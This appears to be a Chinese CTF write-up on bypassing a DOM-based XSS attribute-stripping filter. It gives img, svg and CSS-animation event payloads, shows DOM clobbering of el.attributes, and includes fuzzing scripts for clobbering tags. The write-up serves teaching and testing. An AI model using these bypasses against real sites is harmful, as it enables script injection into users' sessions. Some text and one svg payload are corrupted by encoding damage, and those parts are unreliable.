目錄
首先
然后
第一種
第二種(DOM)
HTMLCollection
HTML Relationships
Custom
解
首先
<script>//urlencode解碼 //location接口的hash屬性是一個字符串,包含一個“#”后跟位置URL的片段標識符。如果URL沒有片段標識符,則該屬性的值為空字符串""//substr值的substr()方法返回該字符串的一部分,從指定的索引開始截取//substr(1)如果不寫,就會把#截進去const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值const root = document.createElement('div') //創建一個div元素
?root.innerHTML = data ?//將data的值賦給divdocument.body.appendChild(root); //把root的內容插入到body里面去for (let el of root.querySelectorAll('*')){ ? ? //循環遍歷div元素中的子元素 for (let attr of el.attributes ){ ? ? ? //獲取div子標簽中的屬性el.removeAttribute(attr.name); ? ? ?//對子標簽中的屬性進行移除}}
?//訪問時127.0.0.1/a.html#<img src=1 onerror=alert(1)>//結果只刪除了src=1,剩下的<img onerror=alert(1)>依舊存在于div中,是因為索引的問題,//例如[1,2,3,4,5]把1刪除后,2就到了1的位置,但是代碼已經繼續往下執行,就把到2位置的3給刪除了//以此類推最后剩下[2,4]//HTML 5中指定不執行由innerHTML插入的script標簽,所以不能傳遞script標簽//由此可以這樣繞過:<img a=1 src=1 b=1 onerror=alert(1)>
</script>
然后
因為這個代碼不能完全刪除傳入的參數,所以下面這段代碼對其進行了升級:
<script>
//<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
?
for (let el of root.querySelectorAll('*')) {let attrs = []for(let attr of el.attributes) {attrs.push(attr.name); }// 在這里刪除我們的屬性,onerror href,程序沒有走進去就觸發// dom破壞,給它品控生成一個無關的節點,不會刪除我們的payloadfor(let name of attrs) {el.removeAttribute(name);}
}document.body.appendChild(root);
</script>
第一種
1.一個svg觸發會失敗 二個svg會成功 2.在屬性都被刪除的情況下,為什么svg依然可以觸發成功 ? <svg><svg/οnlοad=alert(1)>會在root.innerHTML = data;被觸發。 它屬于自閉合標簽,onload在DOM解析時立即執行,早于屬性移除 <svg/οnlοad=alert(1)>是非自閉合標簽,onload事件在DOM插入后才觸發,但此時屬性已被移除
第二種(DOM)
HTMLCollection
之前XSS GAME靶場的Ok, Boomer這道題是一層的形式,但是這里要用兩層。我們可以這樣試試:
<div id="x"><a id="y" href='hhhhhhhhh'></a>
</div>
<script> alert(x.y);
</script>
這??論第?個標簽怎么組合,得到的結果都只是undefined 。但是我們可以通過另?種?法加?引? name 屬性就會有其他的效果。
HTML Relationships
再者,我們也可以通過利?HTML標簽之間存在的關系來構建層級關系。
<script>var log=[];var html =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];div=document.createElement('div');for(var i=0;i<html.length;i++){for(var j=0;j<html.length;j++) {div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div);if(window.element1 && element1.element2){ log.push(html[i]+','+html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
// 以上代碼測試了現在HTML5 基本上所有的標簽,使?兩層的層級關系進?fuzz ,注意這?只使?了
id ,并沒有使?name,遇上?的HTMLCollection 并不是?種?法。
</script>
// 試試
<form id="x"><output id="y">hhhhhhhhhhh</output>
</form>
<script> alert(x.y.value);
</script>
// 三級的層級關系我們就需要?到以上兩種技巧來構建
<form id="x" name="y"><output id="z">hhhhhhhhhhh</output>
</form>
<form id="x"></form>
<script>alert(x.y.z.value)
</script>
Custom
以上我們都是通過id 或者 name 來利?,那我們能不能通過?定義屬性來構造呢?
<form id=x y=123></form>
<script> alert(x.y)//undefine
</script>
很明顯,這意味著任何未定義的屬性都不會具有DOM 屬性,所以就返回了 undefined。我們可以嘗試?下fuzz 所有標簽的有沒有字符串類型的屬性可供我們使?:
<script>var html = [...]//HTML元素數組var props=[]; for(i=0;i<html.length;i++){obj =document.createElement(html[i]); for(prop in obj) {if(typeof obj[prop] === 'string') { try {props.push(html[i]+':'+prop);}catch(e){}}}}console.log([...new Set(props)].join('\n'));
</script>
==============================================================
解
//試試
<form action=javascript:alert(1)><input id="attributes"><input id="attributes"><button type="submit">Submit</button>
</form>
//要用戶交互
el.attributes?本來應該是元素的屬性列表,但由于?<input id="attributes">?存在,el.attributes?被覆蓋成這個?input?元素本身!
所以?for(let attr of el.attributes)?會嘗試遍歷?input?元素,所以不能只寫一個input,只寫一個?input 就不是可迭代對象,會導致內部報錯。
onaniamtionstart是JavaScript中用于監聽CSS動畫開始的事件處理器
//用戶不交互
<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">